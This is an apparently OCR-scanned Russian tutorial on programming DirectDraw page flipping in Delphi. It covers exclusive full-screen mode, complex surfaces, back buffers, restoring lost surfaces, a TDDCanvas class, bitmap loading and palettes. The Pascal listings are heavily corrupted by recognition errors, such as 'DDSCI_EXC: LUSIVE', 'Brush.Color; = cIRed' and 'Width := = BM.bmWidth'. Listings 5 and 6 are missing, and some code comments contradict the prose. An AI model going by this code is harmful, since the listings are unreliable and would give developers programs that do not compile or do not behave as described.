Путем переключения в специальный режим отображения данных вы занимаете весь экран. Как правило, вы можете запускать множество регулярных приложений среды Windows в одно и то же время; их окна перекрываются и благодаря GDI дела идут прекрасно. Но что произойдет, если вы попытаетесь запустить два и более полноэкранных DirectDraw-приложений в одно и то же время? Ответ - только одному разрешен доступ к полному экрану. DirectDraw управляет этим, предполагая, что вы имеете исключительный доступ к экранной карте перед изменением режима. Вы сделаете это установкой коиперативнчгн уровня объекта DirectDraw в Exclusive. DirectDraw поддерживает эксклюзивный уровень доступа только для одного приложения одновременно. Если вы попытаетесь получить эксклюзивный доступ и какое-нибудь другое приложение уже его имеет, вызов не удастся. Подобным же образом, если вы попытаетесь изменить режимы отображения данных без приобретения эксклюзивного доступа, этот вызов не удастся. Таким образом, попытайтесь получить эксклюзивный доступ и затем переключите режимы отображения.

Здесь необходимо отметить, что вы должны предоставить описатель окна SetCooperativeLevel. DirectDraw изменяет размеры этого окна автоматически, так что оно заполняет экран в новом режиме отображения данных. Вы должны передать описатель формы в SetCooperativeLevel. Ввиду того, что описатель окна не был создан до времени вызова OnCreate, вы должны все это сделать и событии OnShow. Листинг 2 показывает, как это сделать.

Листинг 2 Переключение в полноэкранный режим в OnShow.

procedure TForml.FormShow(Sender: TObject);
begin
  if DirectDraw.SetCooperativeLevel(Handle,
  DDSCI_EXC: LUSIVE or DDSCI_FUbbSCREEN ) <> DD_OK then
    raise Exception.Create('Unable to acquire exclusive full-screen access');

  if DirectDraw.SetDisplayMode(640, 480, 8) <> DD_OK then
    raise Exception.Create('Unable to set new display mode');
end;

Пока все в порядке. Ничего тут сложного нет. Если вы запустите пример прямо сейчас, ваше приложение переключит режимы и вы увидите, как форма заполнит экран. Если вы передвинете или измените ее размеры, вы увидите за ним Delphi. Вы все еще смотрите на поверхность вывода GDI. GDI может благополучно выводить данные в этих различных режимах, так что вы увидите свои обычные приложения Windows так долго, сколько эта поверхность будет оставаться на переднем плане. Но ввиду того, что вы создаете приложение с мелькающими страницами, это не совсем то, что нам нужно. Директория DDDemo2 содержит изложенные примеры

Добавление обработчика исключений приложения

Как я уже упоминал ранее, тот факт, что DirectDraw занимает полный экран может вызвать проблему с обработкой исключений. Когда исключение возбуждается, по умолчанию Delphi IDE попадает в отладчик программы и приостанавливает исполнение программы, устанавливая кодовое окно на строке, содержащей ошибку. Проблема заключается в том, что когда происходит мелькание страниц вы, вероятно, не сможете увидеть IDE и приложение будет выглядеть замороженным. Еще хуже, если вам удастся продолжить исполнение, или на опции IDE окажется выключенной Break on exception (Останавливаться, если возбуждено исключение), то вы можете не увидеть окна сообщения, которое появляется с сообщением исключения.

Один из способов избежать этот сценарии отменить маркер на флажке Break on exception в IDE (TooIsjOptions menu) и установить в своем приложении специальный обработчик исключений приложения. Этот обработчик должен переключаться на поверхность GDI перед тем, как показать сообщение исключения. Это намного легче, чем может показаться. Все, что вам необходимо сделать, - создать собственный private-метод в форме и присвоить его AppHcation,OnException в OnCreate формы. Не забывайте установить его обратно в nil в OnDestroy. Новый описатель может использовать метод SwitchToGDISurface объекта IDirectDraw перед вызовом MessageDIg. Листинг 3 показывает обработчик исключения.

Листинг 3 Обработчик исключений приложения.

procedure TForml.ExceptionHandler(Sender: TObject; E: Exception);
begin
  if Assigned(DirectDraw) then
    DirectDraw.FlipToGDISurface;
  MessageDIgt E.message, mtError, [mbOK], 0);
end;

Для того, чтобы устаноцить описатель исключения мы добаиим следующую строку в OnCreate:

Application.OnException := ExceptionHandler;

Помните, что нужно выключить Break on exception (в TooIsfOptions). Как только вы наберетесь больше опыта, вы сможете включить эту опцию снова для специфических заданий отладки. Однако, если ваше приложение вызовет исключение, пока поверхность GDI невидима, IDE возьмет свое и вы ничего не увидите. Нажатие F9 должно вызвать повторное исполнение, а нажатие Ctrl-F2 вернет приложение в исходное состояние и возвратить вас в Delphi.


DirectX (Игровой SDK) 2

Поверхности отображения

Теперь вы готовы создавать поверхности отображения. В DirectDraw поверхность отображения представляет собой линейную область экранной памяти, к которой можно получить непосредственный доступ для манипуляций. Поверхность отображения, которую вы видите на экране, называется основной поверхностью. Она представляет память видимого кадрового буфера на карте отображения. Вы также можете иметь невидимые поверхности, которые определяются как внеэкранные, или оверлейные поверхности. Подобное может существовать либо в регулярной системной памяти, либо во внеэкранной области памяти на самой графической карте. Для того, чтобы создать ситуацию с мелькающими страницами, необходима основная поверхность и, по крайней мере, одна внеэкранная поверхность для осуществления отображения. Для того, чтобы внеэкранная поверхность могла появляться и исчезать на экране, онадолжна находится в видеопамяти. Тем не менее, DirectDraw пытается создать поверхности в видеопамяти по умолчанию, поэтому нет необходимости предпринимать что-либо специально.

Существует способ для создания основной поверхности и одной и более сменных поверхностей в одно и то же время за счет создания комплексной поверхности. Еще один аспект в создании комплексной (составной) поверхности заключается в том, что вы можете освободить все поверхности в комплексной цепи сменных поверхностей путем высвобождения самой комплексной поверхности. Для примера создадим комплексную поверхность посредством одной вспомогательной буферной поверхности.

Фоновые поверхности, которые создаются в качестве части комплексной, известны как Неявные поверхности. Существует большое число операций, которые вы не сможете осуществить с помощью Неявных поверхностей, например, отсоединить их от основной поверхности или освободить их независимо от основной поверхности. Однако, комплексные поверхности намного проще создавать, потому что DirectDraw создает фоновые буфера и соединяет их с основной поверхностью.

В этой связи я должен затронуть вопрос сложности DirectDraw, поскольку необходимо заполнять поля и записи TDDSurfaceDesc. Если вы прочитаете об этом и справке DirectDraw, вы сможете увидеть, что все это выглядит довольно ужасно! Но как я уже говорил, вы можете счастливо игнорировать большинство из этих полей. Листинг 4 представляет код, который необходимо добавить в обработчик OnShow для создания комплексной поверхности.

Листинг 4 Создание комплексной поверхности.

{ заполнить описатель DirectDrawSurface перед созданием поверхности }
FillChar(DDSurfaceDesc, Si2e0f(DDSurfaceDesc), 0);
with DDSurfaceDesc do
begin
  dwSize := SizeOf(DDSurfaceDesc);
  dwFlags := DDSD_CAPS or DDSD_BACKBUFFERCOUNT;
  ddSCaps.dwCaps := DDSCAPS_COMPLEX or DDSCAPS FLIP or

  DDSCAPS_PRIMARYSURFACE;
  dwBackBufferCount: = 1;
end;

Листинг 7 Тестирование нажатия клавиш Escape и F12.

procedure TForml.ForinKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  // если нажаты клавиши Escape или F12, завершить приложение
  case Key of
    VK_ESCAPE, VK_F12: Close;
  end;
end;

Вы можете скачать этот пример u DDDemo3 здесь. Если вы запустите его, иы уиидите на экране мелькание сменяющих друг друга поверхностей GDI, которые содержат формы размером с экран, и фоновый буфер, который, вероятно, заполнен различными битами "остатков" отображения. Помните, для выхода следует нажать Esc или F12 (или конечно же Alt+F4).

Получение доступа к фоновому буферу

Теперь, когда вы познали основы приложения смены страниц, вы, вероятно, захотите что-нибудь с ним сделать. Вы нуждаетесь в том, чтобы иметь возможность рисовать на поверхности фонового буфера. Однако, в последней секции вы создали комплексную поверхность, которая автоматически создала для нас фоновый буфер. Проблема заключается в том, что функция CreateSurface заполнила поле PrimaryField (основная поверхность), и вы должны получить доступ к фоновому буферу. Для этого можно вызвать метод GetAttachedSurface. Добавьте поле фонового буфера BackBuffer к форме и код из листинга 8 - к OnShow:

Листинг 8 Доступ к поверхности фонового буфера.

{ получить фонов зй буфер }
DDSCaps.dwCaps: = DDSCAPS_BACKBUFFER;

if PrimarySurface.GetAttachedSurface(DDSCaps, BackBuffer) <> DD_OK then
  raise Exception.Create('Failed to get back buffer surface');

DDSCaps является локальной переменной типа TDDSCaps, которая добавляется к обработчику FormShow. Вы заполняете флажки для необходимой присоединенной поверхности и вызываете GetAttachedSurface. В этом случае вам необходим фоновый буфер. Метод может вернуть только одну поверхность. Вызов напрасен, если более чем одна присоединенная поверхность соответствует переданным флажкам DDSCaps. Однако, не имеет значения, сколько фоновых поверхностей вы создали, существует только одна поверхность с флажком фонового буфера, и она является первой в цепи сменных поверхностей после основной. Если необходимо получить все присоединенные поверхности, можно вызвать функцию EnumAttachedSurfaces.

Восстановление поверхностей

Одна из многих особенностей DirectDraw заключается в том, что поверхности могут потерять свою память по многим причинам; например, когда изменяется режим отображения. Если это происходит, вы должны вызвать метод Restore поверхности, чтобы получить свою память обратно. Вы также должны перерисовать поверхность. Это несколько напоминает то, как у вас возникает необходимость нарисовать окно в обычном программировании для Windows, когда оно перекрывается и нуждается в обновлении. Большинство из функций IDirectDrawSurface могут возвратить результат DDERR_SLIRFACELOST. Когда это происходит, вы должны восстановить поверхность и перерисовать ее. Многие из этих функций также могут вернуть DDERR_WASSTILLDRAWING, что по сути означает, что аппаратное обеспечение занято и запрос необходимо повторять до тех пор, пока вы не добьетесь успеха, или пока вы не получите иное сообщение об ошибке.

Вот основополагающая логическая схема, использующая метод Flip. Этот пример предназначен только для того, чтобыввести вас в курс. Он не перерисовывает поверхности. Смотрите листинг 9.

Листинг 9 "Традиционный" код для проверки и восстановления поверхности.

repeat
  DDResult := PrimarySurf асе.Flip(nil, 0);
  case DDResult of
    DD_OK: break;
    DDERR_SURFACELOST:
      begin
        DDResult := PrimarySurface.Restore();
        if DDResult <> DD_OK then
          break;
      end;
  else
  if DDResult <> DDERR_WASSTILLDRAWING then
    break
  end;
until false;

Самое надоедливое то, что вам необходим подобный код практически для каждого вызова метода IDirectDrawSurface. Всякий раз, когда спецификация вызова в справке Game SDK содержит DERR_SLJRFACELOST в качестве возможного результата, это необходимо. Но Pascal-структурированный язык высокого уровня, не так ли? Таким образом, почему бы не написать небольшой сервисный метод для оказания такой помощи? Вот этот метод с именем одного из моих любимых шоу. (Оно не дает возможности себя забыть!) Оно представлено в листинге 10.


DirectX (Игровой SDK) 3

Листинг 10 функция MakeltSo для оказание помощи в восстановлении поверхности.

function TForinl.MakeltSo(DDResult: HResult): boolean;
begin
  { утилита для предоставления помощи в восстановлении поверхностей }
  case DDResult of
    DD_OK: Result := true;
    DDERR_SURFACELOST: Result := RestoreSurfaces <> DD_OK;
  else
    Result := DDResult <> DDERR_WASSTILLDRAWING;
  end;
end;

Последний метод иосстанаиливает поцерхность i3 случае необходимости и затем вызывает функцию RestoreSurface, которую я вам сейчас представлю. Но сначала вот как следует ее использовать, применяя Flip, как в предыдущем примере:

repeat
  ...
until
  MakeltSo(PrimarySurf асе.Flip(nil, DDFblP_WAIT));

Теперь я уверен, вы согласитесь, что это намного аккуратней и приятней, чем постоянно дублировать код, который я продемонстрировал ранее. Flip вызывается непрерывно, пока не достигнет успеха, либо пока не возникнет серьезная про блема. Я мог бы вызвать исключение в MakeltSo, если бы возникла неисправимая проблема. Примеры Game SDK, будучи написанными на С без обработки исключений, просто игнорируют результаты ошибки. Однако, если вы хотите использовать исключения, измените MakeltSo, как показано в листинге 11.

Листинг 11 Необязательная MakeltSo, которая вызывает исключения.

function TFormI.MakeltSo(DDResult: HResult): boolean;
begin
  { утилита для предоставления помощи в восстановлении
  поверхностей - версия с исключениями }
  Result := false;
  case DDResult of
    DD_OK: Result := true;
    DDEKR_SURFACELOST: if RestoreSurfaces <> DD_OK then
        raise Exception.Create('MakeltSo failed');
  else if DDResult <> DDERR_WASSTILLDRAWING then
    raise Exception.Create('MakeltSo failed');
  end;
end;

Хорошо, теперь перейдем к методу RestoreSurfaces, при необходимости вызываемому в MakeltSo. Листинг 12 показывает метод RestoreSurfaces.

Листинг 12 Восстановление и перерисовка поверхности DirectDraw.

function TFormI.RestoreSurfaces: HResult;
begin
  { вызывается MakeltSo, если поверхности "потерялись" -
  восстановить и перерисовать их }
  Result := PrimarySurface.Restore;
  if Result = DD_OK then
    DrawSurfaces;
end;

Ничего удивительного. Вызывается метод Restore объекта основной поверхности. Ввиду того, что вы создали ее как комплексный объект, он автоматически восстанавливает любые неявные поверхности. Поэтому нет необходимости вызывать Restore для фонового буфера. Если Restore успешно восстановил память поверхности, вы вызываете DrawSurfaces, которую мы обсудим подробно далее.

Рисование на поверхностям DirectDraw

Существует два способа рисовать на поверхности DirectDraw. Вы можете получить указатель непосредственно на область памяти поверхности и непосредственно ею манипулировать. Это очень мощный способ, но требует написания специального кода и часто для скорости - на ассемблере. Все-таки вам редко придется это делать, потому что DirectDraw может создавать контекст устройства (DC), совместимый с GDI. Это означает, что вы можете рисовать на ней, используя стандартные вызовы GDI, а также любой DC. Однако, вызовы GDI достаточно утомительны, и Delphi уже включает DC в свой класс TCanvas. Таким образом, в примере я создаю TCanvas и использую его для облегчения себе жизни. Разве невозможно полюбить Delphi за это!

Все, что необходимо сделать, - создать объект TCanvas и вызвать метод GetDC поверхности. Затем вы назначаете DCCanvas.Handle, убедившись, что вы по завершению переустановили Handle в ноль. Создание полотна и размещение контек- стов устройств требует памяти и ресурсов. Контексты устройства представляют собой особенно скудный ресурс. Существенно важно освободить их, когда вы закончите. Для того, чтобы сделать код непробиваемым, используйте блоки try...finally.

Листинг 13 представляет этот код. Он просто заполняет основную поверхность голубым цветом и выводит текст "Primary surface" (Основная поверхность) в центре слева. Фоновый буфер закрашивается в красный цвет и содержит текст "Back buffer" (Фоновый буфер) в центре справа. Листинг 13 с примером DDDemo4 можно скачать здесь.

Листинг 13 Данная процедура заполняет основную поверхность голубым цветом и выводит текст "Primary surface" (Основная поверхность) в центре слева. Фоновый буфер закрашивается в красный цвет и содержит текст "Back buffer" (Фоновый буфер) в центре справа.

procedure TForm1.DrawSurfaces;
var
  DC: HDC;
  ARect: TRect;
  DDCanvas: TCanvas;
  ATopPos: integer;
begin
  // fill the primary surface with red and the back buffer with blue
  // and put some text on each. Using a canvas makes this trivial.
  DDCanvas := TCanvas.Create;
  try
    // first output to the primary surface
    if PrimarySurface.GetDC(DC) = DD_OK then
    try
      ARect := Rect(0, 0, 640, 480);
      with DDCanvas do
      begin
        Handle := DC; // make the canvas output to the DC
        Brush.Color := clRed;
        FillRect(ARect);
        Brush.Style := bsClear; // transparent text background
        Font.Name := 'Arial';
        Font.Size := 24;
        Font.Color := clWhite;
        ATopPos := (480 - TextHeight('A')) div 2;
        TextOut(10, ATopPos, 'Primary surface');
      end;
    finally
      // make sure we tidy up and release the DC
      DDCanvas.Handle := 0;
      PrimarySurface.ReleaseDC(DC);
    end;

    // now do back buffer
    if BackBuffer.GetDC(DC) = DD_OK then
    try
      with DDCanvas do
      begin
        Handle := DC; // make the canvas output to the DC
        Brush.Color := clBlue;
        FillRect(ARect);
        Brush.Style := bsClear; // transparent text background
        Font.Name := 'Arial';
        Font.Size := 24;
        Font.Color := clWhite;
        TextOut(630 - TextWidth('Back buffer'), ATopPos, 'Back buffer');
      end;
    finally
      // make sure we tidy up and release the DC
      DDCanvas.Handle := 0;
      BackBuffer.ReleaseDC(DC);
    end;
  finally
    // make sure the canvas is freed
    DDCanvas.Free;
  end;
end;

Непригодность основной формы

В предыдущих примерах форма была явно видима, заполняя собой основную поверхность. Однако, вы не хотите, чтобы пользователь видел форму. Это приложение смены страниц и оно рисует по всему экрану. Поэтому вы должны предотвратить отображение формы на экране. Также необходимо избавиться от системного меню и неклиентских клавиш. Все это можно достичь просто установкой BorderStyle формы в bsNone в методе Foi-rnCreate. Вам также не нужен и курсор, поэтому установите его в crNone. Добавьте эти три строки к FormCreate:

BorderStyle := bsNone;
Color := clBlack;
Cursor := crNone;

Единственно, что остается сделать, - убедиться ц том, что поверхности рисуются правильно и самом начале. Сделайте проверку, вызвав DrawSurfaces в обработчике события OnPaint формы. Если вы этого не сделаете, основная поверхность изначально отобразит форму; то есть, экран будет полностью черным. Листинг 14 представляет обработчик события OnPaint формы.

Листинг 14 Обработчик события OnPaint просто вызывает DrawSurfaces.

procedure TForml.FormPaint(Sender: TObject);
begin
  // рисовать что-нибудь на основной поверхности и на фоновом буфере
  DrawSurfaces;
end;

Ну, все! Вы можете найти измененный код в примере DDDemo4(скачать).

Мощь Delphi: пользовательский класс полотна (Canvas)

До этого вы наблюдали, как использовать прекрасное средство Delphi TCanvas для получения доступа к контексту устройства, который позволяет рисовать на поверхности DirectDraw. Однако, мы можем значительно все упростить благодаря применению объектной ориентации. Сейчас вы создадите специализированный (пользовательский) подкласс TCanvas для того, чтобы иметь возможность рисовать на поверхности даже намного проще. Это очень просто; код представлен в листинге 15.

Листинг 15 Объект полотна DirectDraw в Delphi.

unit DDCanvas;

interface

uses Windows, SysUtils, Graphics, DDraw;

type
  TDDCanvas = class(TCanvas)
  private
    FSurface: IDirectDrawSurface;
    FDeviceContext: HDC;
  protected
    procedure CreateHandle; override;
  public
    constructor Create(Asurface: IDirectDrawSurface);
    destructor Destroy; override;
    procedure Release;
  end;

implementation

constructor TDDCanvas.Create(Asurface: IDirectDrawSurface);
begin
  inherited Create;
  if Asurface = nil then
    raise Exception.Create('Cannot create canvas for NIL surface');
  FSurface := Asurface;
end;

destructor TDDCanvas.Destroy;
begin
  Release;
  inherited Destroy;
end;

procedure TDDCanvas.CreateHandle;
begin
  if FDeviceContext = 0 then
  begin
    FSurface.GetDC(FDeviceContext);
    Handle := FDeviceContext;
  end;
end;

procedure TDDCanvas.Release;
begin
  if FDeviceContext <> 0 then
  begin
    Handle := 0;
    FSurface.ReleaseDC(FDeviceContext)
      FDeviceContext := 0;
  end;
end;

end.


DirectX (Игровой SDK) 4

Использование класса DDCanvas.

Для того, чтобы использопать этот класс, следует скопировать модуль DDCanvas.pas ц каталог Lib, который находится в каталоге Delphi 3.0, или и другой каталог, обозначенный в пути поиска библиотеки.

Помните ли вы злополучное взаимное исключение Win, которое приостанаилипает многозадачную работу? Хорошо, я еще раз подчеркну необходимость освобождения DC. Класс TDDCanvas имеет и использует в своих целях метод Release. Всегда заворачивайте любой доступ к полотну в блок try..finally, например:

try
  DDCanvas.TextOut(0, 0, 'Hello Flipping World!');
  {и т.д. }
finally
  DDCanvas.Release;
end;

Или, как я часто делаю, используйте конструкцию with для того, чтобы сэкономить время набора:

with DDCanvas do
  try
    TextOuK 0, 0, 'Hello Withering World!');
    {и т.д. }
  finally
    Release;
  end;

Итак, теперь вы можете добавить пару таких полотен в объявления формы, создавая их в FormShow, например:

{ создать два TDDCanvas для наших двух поверхностей }
PrimaryCanvas := TDDCanvas.Create(PrimarySurface);
BackCanvas := TDDCanvas, Create(BackBuffer);

Освободите их в FormDestroy перед тем, как освободить поверхности:

{ освободить объекты TDDCanvas перед освобождением поверхностей }
PrimaryCanvas.Free;
BackCanvas.Free;

Теперь можно осуществлять вывод либо на основную поверхность, либо на фоновый буфер, просто применяя эти полотна. Таким образом, вы изменяете DrawSurfacesдля их использования, значительно упрощая код, что продемонстрировано в листинге 16.

Листинг 16 DrawSurfaces использует объекты TDDCanvas.

procedure TFormI.DrawSurfaces;
var
  ARect: TRect;
  ATopPos: integer;
begin

  // вначале выводить на основную поверхность.
  ARect := Rect(0, 0, 640, 480);
  with PrimaryCanvas do
  try
    Brush.Color;
    = cIRed;
    FillRect(ARect);
    Brush.Style: <= bsClear;
    Font.Name: = ' Arial ';
    Font.Size := 24;
    Font.Color := clWhite;

    ATopPos := (480 - TextHeight('A')) div 2;
    Text0ut(10, ATopPos, 'Primary surface');
  finally

    // убедиться, что мы сразу же освободили DC,
    // поскольку Windows замораживается, пока мы владеем DC.
    Release;
  end;

  // теперь работаем с фоновым буфером
  with .BackCanvas do
  try
    Brush.Color: = clBlue;
    FillRecK ARect);
    Brush, Style := bsClear;
    Font.Name := 'Arial';
    Font.Size. = 24;
    Font.Color := clWhite;

    Text0ut(630 - TextWidth('Back buffer'), ATopPos, 'Back buffer');

  finally
    // убедиться, что DC освобожден
    Release;
  end;
end;

Заметьте блоки try...finally с вызовом Release. Помимо этого, теперь пы добрались до этапа, на котором уже можно рисовать на поверхностях DirectDraw, не используя скверные коды DirectDraw, а просто приятные методы полотна Delphi!

Улучшение нашего изображения

Теперь, когда у вас прекрасно работает смена страниц, самое время научиться загружать растровое изображение на поверхность отображения. Процесс загрузки растрового изображения значительно упрощен по сравнению с тем, как это происходило в Windows 3.х, за счет введения функций Loadimage и CreateDIBSection а WIN32 API. В Windows 95 вы можете использовать Loadimage для загрузки растрового изображения либо с дискового файла, либо из ресурса. В окончательном приложении вы несомненно встроите свои изображения в ЕХЕ-файл в виде ресурсов. Однако, полезно иметь возможность загружать их из файла во время разработки.

Первой из них, на которую следует обратить внимание, является DDReLoadBitmap. Вы можете смело использовать ее без понимания того, что она делает, но с целью обучения полезно немного заглянуть в этот код. Бывают моменты, когда вам может понадобиться самостоятельно написать специализированный код по обслуживанию растровых изображений. Это даст вам определенное понимание того, как это сделать. Листинг 17 представляет эту процедуру.

Листинг 17 Сервисная процедура DDReLoadBitmap для загрузки изображений.

procedure DDReLoadBitmap(Surface: IDirectDrawSurface; const BitmapName: string);
var
  Bitmap: HBitmap;
begin
  // попытаться загрузить изображение как ресурс;
  // если это не удается, то как файл
  Bitmap := Loadimage(GetModuleHandle(nil), PChar(BitmapName),
    IMAGE__BITMAP, 0, 0, LR_CREATEDIBSECTION);
  try
    if Bitmap = 0 then
      Bitmap := Loadimage(0, PChar(BitmapName), IMA.GE_BITMAP,
        0, 0, LR_LOADFROMFILE or LR_CREATEDIBSECTION);
    if Bitmap = 0 then
      raise Exception.CreateFmt('Unable to load bitmap Is', [BitmapName]);
    DDCopyBitmap(Surface, Bitmap, 0, 0, 0, 0);
  finally
    DeleteObject(Bitmap);
  end;
end;

Вы указываете в DDReLoadBitmap поверхность DirectDraw и имя растрового изображения, которое вы хотите загрузить в поверхность. Процедура сначала попытается произвести загрузку из ресурса, предполагая, что BitmapName является именем ресурса. Если это не удается, она предполагает, что вы указали имя файла и попытается загрузить его из файла. На самом деле в этом случае при помощи Loadimage создается секция DIB. Это Hbitmap из Windows с форматом аппаратно независимого растрового изображения (DIB). Вы можете использовать DIB-секцию как обычный Hbitmap, например, выбрав ее для DC и вызвав стандартную функцию GDI BitBIt.

DDReLoadBitmap вызывает другую сервисную программу - DDCopyBitmap, которая копирует изображение секции DIB на поверхность DirectDraw. Затем блок try...finally избавляется от секции DIB, поскольку она больше не нужна. В отличие от кода обеспечения растровых изображений Windows 3.х, эта процедура достаточно проста. Теперь, как по поводу DDCopyBitmap? Как показано в листинге 18, это не намного сложнее.

Листинг 18 Сервисная процедура для копирования растрового изображения на поверхность.

procedure DDCopyBitmap(Surface: IDirectDrawSurface; Bitmap: HBITMAP;
  х, y.Width, Height: integer);
var
  ImageDC: HDC;
  DC: HDC;
  BM;
  Windows.TBitmap;
  SurfaceDesc: TDDSurfaceDesc;
begin
  if (Surface = nil) or (Bitmap = = 0) then
    raise Exception.Create('Invalid parameters for DDCopyBitmap');
  // убедиться, что поверхность восстановлена.
  Surfасе.Restore;
  // выбрать изображение для memoryDC, чтобы его использовать.
  ImageDC: = CreateCompatibleDC(0);
  try
    Select0bject(ImageDC, Bitmap);
    // получить размер изображения.
    Get0bject(Bitinap, Size0f(BM), @BM);
    if Width = 0 then
      Width := = BM.bmWidth;
    if Height = = 0 then
      Height := = BM.bmHeight;
    // получить размер поверхости.
    SurfaceDesc.dwSize := SizeOfC SurfaceDesc);
    SurfaceDesc.dwFlags := DDSD_HEIGHT or DDSDJWIDTH;
    Surf ace.GetSurfaceDesc(SurfaceDesc);
    if Surf ace.GetDC(DC) <> DD_OK then
      raise Exception.Create('GetDC failed for DirectDraw surface' )
    try
      StretchBlt(DC, 0, 0, SurfaceDesc.dwWidth, SurfaceDesc.dwHeight,
      ImageDC, x, y.Width, Height, SRCCOPY);
    finally
      Surface.ReleaseDC(DC);
    end;
  finally
    DeleteDC(ImageDC);
  end;
end;

После проверки некоторых параметров DDCopyBitmap вызывает Restore, чтобы обеспечить корректность память поверхности, Затем она обращается к обычной программе Windows для копирования растрового изображения с одного DC на другой. Исходное растровое изображение выбирается для первого DC, стандартная память DC обеспечивается вызовом CreateCompatibleDC. Передача нулевых параметров ширины и высоты в программу заставляет использовать фактическую ширину и высоту растрового изображения. Для того, чтобы получить эту информацию, программа использует функцию GetObject

Затем заготавливается запись SurfaceDesc путем включения флажков DDSD_HEIGHT и DDSD_WIDTH. Это передает ся в GetSurfaceDesc, которое реагирует путем заполнения полей dwHeight и dwWidth дескриптора. Программа получает второй DC из поверхности, используя вызов GetDC и осуществляя простое StretchBIt Как обычно, блоки try..-Anally используются для обязательного освобождения DC. Все это довольно простые вещи. Это развеивает по ветру устаревшую истину о том, что код обработки растровых изображений для Windows тяжело писать. К счастью, теперь вы сможете прибегнуть к сочинению подобного кода без чувства опасения за будущее!

Kод DrawSurface упрощается еще больше, потому что фоновый буфер теперь можно загружать где угодно, используя DDReLoaBitmap. Упрощенный DrawSurface представлен в листинге 19.

Листинг 19 DrawSurface без кода отрисовки фоновой поверхности.

procedure TFormI DrawSurfaces;
var
  ARect: TRect;
  ATopPos: integer;
begin
  // вывод на основное полотно.
  ARect := Rect(0, 0, 640, 480);
  with PrimaryCanvas do
  try
    Brush.Color := clBlue;
    FiliRect(ARect);
    Brush.Style := = bsClear;
    Font.Name := = 'Arial';
    Font.Size := = 24;
    Font.Color := clWhite;
    ATopPos: ^(480 - TextHeight('A' ) ) div 2 ;
    Text0ut(10, ATopPos, 'Primary surface');
  finally
    // убедиться, что мы сразу же освободили DC,
    // поскольку Windows замораживается, пока мы владеем DC.
    Release;
  end;
  { загрузить изображение в фоновый буфер }
  DDReloadBitmap(BackBuffer, GetBitiilapName);
end;

А что по поводу палитр?

Я знал, что об этом вы обязательно бы меня спросили! Хорошо, мы все еще вынуждены работать с палитрами. Настало время представить еще один СОМ-объект DirectDraw, На этот раз это lDirectDrawPalette. Этот маленький полезный объект обслужит большинство компонент палитры, нс утруждая этим нас с вами. Для того, чтобы использовать IDirectDraw, высоздаете его с IDirectDraw.CreatePalette, которая устанавливает указатель на массив вводимых данных палитры, который использовался для инициализации объекта палитры. Затем вы присоединяете ее к поверхности DrawSurface и она станет использоваться автоматически для всех последующих операций. Конечно же, прекрасно.

Итак, как же получить эти значения цветов? Хорошо, я написал еще одну небольшую функцию для их загрузки из растрового изображения или создания цветов по умолчанию, и для создания и возврата объекта IDirectDrawPalette. Она также находится в DDUtils.pas и называется DDLoadPalette. Вы просто передайте ей имя вашего объекта IDirectDraw либо с именем растрового изображения, либо (если вы хотите палитру по умолчанию) с пустой строкой. (Как и другие программы, DDLoadPalette сначала пытается загрузить растровое изображение из ресурса приложения. Если это не удается, она пытается загрузить растровое изображение из файла. Я не повторяю здесь код, поскольку он несколько длиннее других функций. Он главным образом имеет дело с проверкой наличия у DIB таблицы цветов, которую он затем копирует в массив вводимыхданных палитры).

Я добавил объект палитры к объявлению формы, загрузил его в FormShow и присоединил объект палитры к основной поверхности следующим образом:

{ загрузить палитку иэ растрового изображения
и присоединить ее к основной поверхности }
DDPalette := DDLoadPalette(DirectDraw, GetBitmapName);
PrimarySurface, SatPalette(DDPalette);

Создав, вы должны освободить его из основной поверхности в FormDestroy:

{ освободить DD-палитру }
if Assigned(DDPalette) then
  DDPalette.Release;

Проделав все изменения, вы можете теперь приступить к проверке. DDDemoS содержит все изменения, обозначенные до настоящего момента.

Объединение всего вместе

В настоящий момент вы можете составить DirectDraw-приложсние со сменой страниц, а также загрузить растровое изображение и палитру. У вас имеется все необходимое для создания смены страниц и причем на полной скорости! Для того, чтобы было еще интересней, как насчет анимации? DirectDraw в одной из демонстрационных программ использует файл с именем ALL.BMP. Вы также скачать его вместе с примером DDDenno5. В ней содержится еще одно более интересное фоновое изображение и набор анимационных кадров с красным вращающимся трехмерным тором.

Перед очередной сменой страницы вы захотите отобразить фоновое изображение и затем текущий анимационный кадр с тором. Вы создаете три тора в разных позициях на экране, которые будут вращаться с разной скоростью. Ввиду того, что фоновый буфер будет непрерывно перерисовываться, вы должны хранить где-нибудь еще исходное изображение, загруженное из ALL.BMP. Поэтому создайте для него еще одну поверхность DirectDraw. Это внеэкранная плоскость и она не имеет отношения к смене страниц; на ней мы будем хранить изображение.

Существенно важно отметить, что по умолчанию DirectDraw создает исходное изображение в экранной памяти. Это означает, что когда вы используете изображение для обновления фонового буфера, любой производимый битовый перенос использует аппаратный перенос битов, если таковой имеется на графической карте. Практически все персональные компьютеры в настоящее время оснащены ускоренной графической картой, которую как раз и использует DirectDraw. Ввиду того, что это аппаратное обеспечение работает намного быстрее, чем процессор во время битового переноса, игры DirectDraw должны иметь большую эффективность по отношению к играм DOS, где процессор делает все.

Битовый перенос (bit-blitting) - термин, используемый для описания переноса областей растровых изображений в, из или в пределах других растровых изображений. Термин иногда записывается более точно как bitblting, но он сложен для чтения, поэтому вы часто найдете его в расчлененным в виде двух слов bit-blitting. BitBIt - краткое описание термина BITmap Block Transfer (перенос блока растрового изображения).

Итак, за работу. Создайте эту дополнительную поверхность и назовите ее Image (изображение). Добавьте ее в объявление формы. Это как раз и есть IDirectDrawSurface, поэтому нет необходимости представлять здесь эту тривиальную строку кода. Затем добавьте код в FormShow, который создает растровое изображение. Используйте DDLoadBitmap, это только одна строка! Вот она:

Image := DDLoadBitmap (Directdraw, GetBitmapName, О, О);

Помните, что вам необходимо пополнить метод RestoreSurfaces и тогда вы получите новую неявную поверхность. Если восстановление основной памяти поверхности пройдет нормально, попытайтесь восстановить поверхностную память Image. Если оба типа восстановлений будут иметь место, вызовите DrawSurfaces, как показано в листинге 20.

Листинг 20 Восстановление всех поверхностей.

function TFormI.RestoreSurfaces: HResult;
begin
  Result := primarySurface.Restore;
  if Result = DD OK then
  begin
    Result := Image - Restore;
    if Result = DD_OK then
      DrawSurfaces
  end;
end;


Blitting, Спрайты и Анимация

